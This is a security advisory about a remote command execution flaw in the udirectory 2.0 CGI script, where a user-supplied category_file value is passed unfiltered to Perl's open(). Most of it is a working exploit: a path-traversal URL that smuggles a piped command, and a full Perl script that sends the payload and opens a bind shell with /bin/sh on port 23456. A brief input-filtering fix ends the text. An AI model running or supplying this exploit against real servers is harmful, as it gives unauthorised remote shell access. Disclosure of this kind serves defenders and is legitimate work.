COMMAND

    udirectory

SYSTEMS AFFECTED

    udirectory 2.0, possibly earlier versions

PROBLEM

    Igor  Dobrovitski  found  following.   udirectory  from Microburst
    Technologies allows remote command  execution.   uDirectory  is an
    online directory and listing management system that allows you  to
    easily create, update, and maintain an on-line directory...

    The offending code in subroutine check_for_duplicate_listing:

        open (CATEGORY_FILE, $gData_directory . $category_file) ||
              &return_error("File Error","Unable to open " . $gData_directory . $category_file);

    $category_file is passed  by the user.   There's no  metacharacter
    filtering.  Old boring stuff, but still a bug.

    Exploit:

        http://www.example.com/cgi-bin/udirectory.pl?MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../bin/ping+-c+2+x.x.x.x|'

    or this:

    #!/usr/bin/perl -w
    # management, e-commerce ... blah...
    # exploit by Igor Dobrovitski noident@my-deja.com
    # This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded
    # Enjoy
    use Socket;
    $| = 1;
    ####################################################################################################
    $exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open
     STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
    ####################################################################################################
    unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"}
    ($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
    print "Engaging the enemy. Please stand by...\n";
    foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl')
    {
        print "Trying $perl_path\n\n";
        my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|';
        for(my $i=1;$i<=10;$i++)
        {
         print "try $i\n";
         $cmd = '/..' . $cmd;
         $form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah',
           'command' => 'add_new_listing' });
         my @reply = &send($form);
        }
    }
    &oops_the_sploit_did_not_work();
    
    sub makeform
    {
        my $string;
        my @blah;
        my $line  = '';
        my $here;
        my %data = %{$_[0]};
        foreach my $key (keys %data)
        {
            $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
        }
        $line =~ s|^(.*)BBBB$|$1|;
        $line =~ s/\\n/\n/g;
        $line =~ s/\\t/\t/g;
        $line =~ s/\\e/\e/g;
        $line =~ s/\\f/\f/g;
        $line =~ s/\\r/\r/g;
        $line =~ s/\\0/\0/g;
        foreach my $char (split //, $line)
        {
            if($char !~ m/[A-Za-z0-9._ ]/)
            {
                $char = unpack "H2", $char;
                $char = '%' . "$char";
            }
            push @blah, $char;
        }
        $string = join "",@blah;
        $string =~ s/AAAA/=/g;
        $string =~ s/BBBB/&/g;
        $string =~ s/ /+/g;
        my $cont_len = length($string);
    $here = <<EOF;
    POST $scriptpath HTTP/1.0
    User-Agent: Mozilla (Windows 98)
    Host: $host
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
    Accept-Encoding: gzip
    Accept-Language: en
    Accept-Charset: iso-8859-1,*,utf-8
    Content-type: application/x-www-form-urlencoded
    Content-length: $cont_len
    
    $string
    EOF
        return $here;
    }
    
    sub send
    {
        my $form_to_send = shift;
        my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
        socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
        unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"; close(S); exit 1 }
        select(S);
        $|=1;
        print "$form_to_send";
        local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nBe good and hack wisely.\n"; exit };
        alarm(20);
        my @reply=<S>;
        select(STDOUT);
        close(S);
        return @reply;
    }
    
    sub oops_the_sploit_did_not_work
    {
        print STDERR "The exploit didn't work on this host\nSorry...\n";
        exit;
    }

SOLUTION

    In sub parse_form_data find the line:

        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;

    after this line add:

        $value =~ s/(\.\.|\|$)//g;

    The best thing  you can do  is to refuse  to process a  "poisoned"
    value  rather  than  try  to  "neutralize"  it.  Another approach,
    still quite safe, is to filter out *all but  known-to-be-harmless*
    characters with tr///.